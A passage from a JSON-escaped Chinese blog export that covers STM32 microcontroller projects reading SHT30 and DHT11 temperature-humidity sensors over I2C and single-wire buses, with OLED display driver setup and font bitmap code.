number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e11.807\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.37\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.82\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e13.788\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.36\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.71\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e手机上看一眼小米温湿度传感器的:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/res.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003e还行。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.analog.com/cn/analog-dialogue/articles/i2c-communication-protocol-understanding-i2c-primer-pmbus-and-smbus.html\"\u003eI2C通信协议:了解I2C Primer、 PMBus和SMBus | 亚德诺半导体 (analog.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/m0_51429770/article/details/127661382?spm=1001.2014.3001.5506\"\u003eI2C协议介绍以及HAL库实现I2C对SHT30温湿度采样_hal i2c_HaiQinyanAN的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Yangtzey/article/details/129660763?spm=1001.2014.3001.5506\"\u003eIIC及配置应用(SHT30读取温湿度)_嵌不入的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_46251230/article/details/126722112?spm=1001.2014.3001.5506\"\u003eSTM32物联网项目-SHT30温湿度采集(IIC通信)_ONE_Day|的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://blog.ksfu.top/posts/6c49/"},{"title":"STM32温湿度测量与显示-单总线协议学习","time":"2023-05-18T15:55:06Z","content":"\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"#STM32温湿度测量与显示-单总线协议学习\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/\u003chr /\u003e\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"#STM32温湿度测量与显示-单总线协议学习\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/h1\u003e\u003cp\u003e为了验收个小玩意用一晚上搓了一个,比较氵。 \u003cdel\u003e那就氵篇博客算了。\u003c/del\u003e \u003c/p\u003e\u003cp\u003e手头正好有个ST的板子,型号是STM32G431KBT6,主频170M。刚好拿过来用了。(真好用啊,就是做这个有点浪费。\u003c/p\u003e\u003cp\u003e温湿度传感器使用 \u003cstrong\u003eDHT11\u003c/strong\u003e (单总线协议),屏幕是个IIC的小OLED,还用到了串口来看数据是否正确。(没了,确实氵。\u003c/p\u003e\u003cp\u003e效果图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/index.webp\" alt=\"效果图\" style=\"zoom: 33%;\" /\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"#准备\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先去官网下载 \u003cstrong\u003eSTM32G4xx\u003c/strong\u003e 的包。(\u003ca href=\"https://keilpack.azureedge.net/pack/Keil.STM32G4xx_DFP.1.5.0.pack\"\u003eKeil.STM32G4xx_DFP.1.5.0.pack\u003c/a\u003e)。官网直连下载很慢,很慢……\u003c/p\u003e\u003cp\u003e然后去CubeMX里面新建工程,因为是官方的板子,所以可以直接选择这块板子的模板创建。时钟设置170M(默认的)。选择一个没有中文的路径生成工程。\u003c/p\u003e\u003cp\u003e接下来的流程是:\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置串口\u003c/li\u003e\u003cli\u003e驱动OLED屏幕\u003cul\u003e\u003cli\u003e重新配置延时函数\u003c/li\u003e\u003cli\u003e添加软件IIC\u003c/li\u003e\u003cli\u003e添加OLED驱动\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因为使用的OLED驱动比较特殊,添加之后无法使用原来的 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,需要按照该驱动的要求重新配置延时函数,之后使用其提供的 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 两个函数代替 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,当然实际上是方便不少的,因为 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 是毫秒级延时,所以直接使用上面两个函数可以让自己少写一个微秒的延时函数,具体原理可以参考\u003ca href=\"https://blog.ksfu.top/posts/463a/\"\u003e之前的一篇博客\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"具体实现\"\u003e\u003ca href=\"#具体实现\" class=\"headerlink\" title=\"具体实现\"\u003e\u003c/a\u003e具体实现\u003c/h2\u003e\u003ch3 id=\"串口设置\"\u003e\u003ca href=\"#串口设置\" class=\"headerlink\" title=\"串口设置\"\u003e\u003c/a\u003e串口设置\u003c/h3\u003e\u003cp\u003e串口的具体实现参考我之前的博客步骤:\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e 。因为这次没有用到收的功能,所以只需要设置好发送功能即可。\u003c/p\u003e\u003cp\u003e本次使用USART1。其实 \u003cstrong\u003e更推荐\u003c/strong\u003e 使用USART2的,因为官方的板子上本身就有串口芯片,使用的USART2,这样用一根USB线连电脑上就可以同时供电,下载和查看串口数据了,不用自己再连一个USB转串口的模块了,还能腾出来两个引脚,这STM32G431KBT6的引脚是真的少。 \u003cdel\u003e(还是官方板子好用,就是贵\u003c/del\u003e\u003c/p\u003e\u003chr\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e)晚上要去重庆,剩下的具体流程就等下周回来再写了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e回来了,发现实习二面寄了,悲)\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003chr\u003e\u003ch3 id=\"驱动OLED屏幕\"\u003e\u003ca href=\"#驱动OLED屏幕\" class=\"headerlink\" title=\"驱动OLED屏幕\"\u003e\u003c/a\u003e驱动OLED屏幕\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e这一节可以略过。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e本次的驱动选自 \u003ca href=\"http://www.lcdwiki.com/zh/Main_Page\"\u003eLCD wiki\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e因为 LCD wiki 的驱动为gb2312编码,为了以后写的舒服,我先转换为了utf-8,具体可以参考:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/\"\u003e批量转换文件编码gb2312转utf-8\u003c/a\u003e 。但是注意,代码里有中文的地方,比如 \u003ccode\u003etest.c\u003c/code\u003e,\u003ccode\u003eoledfont.h\u003c/code\u003e等文件需要保持原来的gb2312。\u003cdel\u003e(看见编译时候的编码报错真是心累呐\u003c/del\u003e\u003c/p\u003e\u003cp\u003eLCD wiki 的驱动使用标准库编写,放入HAL库的项目中会狠狠报错,所以要进行修改)我自己修改了一下,以后写一下修改过程emmm(咕咕\u003c/p\u003e\u003ch4 id=\"重新配置延时函数\"\u003e\u003ca href=\"#重新配置延时函数\" class=\"headerlink\" title=\"重新配置延时函数\"\u003e\u003c/a\u003e重新配置延时函数\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003esys.h\u003c/code\u003e , \u003ccode\u003esys.c\u003c/code\u003e , \u003ccode\u003edelay.h\u003c/code\u003e , \u003ccode\u003edelay.c\u003c/code\u003e ,注意修改里面包含的头文件为对应的 \u003ccode\u003e#include \u0026quot;stm32g4xx.h\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e之后在 \u003ccode\u003emain.c\u003c/code\u003e 里面进行初始化: \u003ccode\u003edelay_init();\u003c/code\u003e 初始化完成后以后的延时就用 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加软件IIC\"\u003e\u003ca href=\"#添加软件IIC\" class=\"headerlink\" title=\"添加软件IIC\"\u003e\u003c/a\u003e添加软件IIC\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003eiic.c\u003c/code\u003e , \u003ccode\u003eiic.h\u003c/code\u003e ,注意修改里面 \u003ccode\u003eSCL\u003c/code\u003e 与 \u003ccode\u003eSDA\u003c/code\u003e 的引脚。本次分别使用 \u003ccode\u003ePA1\u003c/code\u003e , \u003ccode\u003ePA0\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加OLED驱动\"\u003e\u003ca href=\"#添加OLED驱动\" class=\"headerlink\" title=\"添加OLED驱动\"\u003e\u003c/a\u003e添加OLED驱动\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003ebmp.h\u003c/code\u003e , \u003ccode\u003egui.h\u003c/code\u003e , \u003ccode\u003egui.c\u003c/code\u003e , \u003ccode\u003eoled.c\u003c/code\u003e , \u003ccode\u003eoled.h\u003c/code\u003e , \u003ccode\u003eoledfont.h\u003c/code\u003e , \u003ccode\u003etest.c\u003c/code\u003e , \u003ccode\u003etest.h\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e这次所用的汉字取模保存至 \u003ccode\u003eoledfont.h\u003c/code\u003e 内,注意为gb2312编码。\u003c/p\u003e\u003cp\u003e取模使用 \u003ccode\u003ePCtoLCD2002\u003c/code\u003e ,为逐行式,顺向。考虑到屏幕大小,取模的大小为16×16。添加在 \u003ccode\u003econst typFNT_GB16 cfont16[]\u003c/code\u003e 的后面。如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token string\"\u003e\"康\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xC4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xA8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x90\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x92\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x86\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\"康\"*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"师\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\"师\"*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"傅\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x97\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\"傅\"*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示汉字使用 \u003ccode\u003eGUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode)\u003c/code\u003e ,使用实例如 \u003ccode\u003eGUI_ShowCHinese(40,2,16,\u0026quot;康师傅\u0026quot;,1);\u003c/code\u003e\u003c/p\u003e\u003cp\u003e该函数说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/***************************************************************************** * @name :void GUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode) * @date :2018-08-27 * @function :Display Chinese strings * @parameters :x:the bebinning x coordinate of the Chinese strings y:the bebinning y coordinate of the Chinese stringssize:the size of Chinese stringsstr:the start address of the Chinese stringsmode:0-white background and black character 1-black background and white character * @retvalue :None******************************************************************************/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示其他内容可以 结合\u003ccode\u003etest.c\u003c/code\u003e 中的实例与 \u003ccode\u003egui.c\u003c/code\u003e 里的函数说明学习。\u003c/p\u003e\u003cp\u003e为了分开gb2312与utf-8,我将显示中文的地方全部写在了一个文件里,我在 \u003ccode\u003emain.c\u003c/code\u003e 用到的时候直接调用。\u003c/p\u003e\u003ch3 id=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003ca href=\"#驱动DHT11温湿度传感器(单总线协议的学习)\" class=\"headerlink\" title=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003c/a\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/h3\u003e\u003cp\u003e)当时大二赶广和通项目的时候用的是 \u003ccode\u003eDS18B20\u003c/code\u003e 来着,是个单总线协议的温度传感器,网上找了段代码糊了一个,这次用 \u003ccode\u003eDHT11\u003c/code\u003e 学习学习单总线协议。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eDHT11 是一款湿温度一体化的数字传感器。该传感器包括一个电阻式测湿元件和一个 NTC\u003cbr\u003e测温元件,并与一个高性能 8 位单片机相连接。通过单片机等微处理器简单的电路连接就能够\u003cbr\u003e实时的采集本地湿度和温度。DHT11 与单片机之间能采用简单的单总线进行通信,仅仅需要一\u003cbr\u003e个 I\u0026#x2F;O 口。传感器内部湿度和温度数据 40Bit 的数据一次性传给单片机,数据采用校验和方式\u003cbr\u003e进行校验,有效的保证数据传输的准确性。DHT11 功耗很低,5V 电源电压下,工作平均最大\u003cbr\u003e电流 0.5mA。DHT11 的技术参数:工作电压范围:3.3V-5.5V;工作电流 :平均 0.5mA;输出:单总线数字信号;测量范围:湿度 20\u003cdel\u003e90%RH,温度 0\u003c/del\u003e50℃;精度 :湿度±5%,温度±2℃;分辨率 :湿度 1%,温度 1℃;\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"DHT11-数据传输格式\"\u003e\u003ca href=\"#DHT11-数据传输格式\" class=\"headerlink\" title=\"DHT11 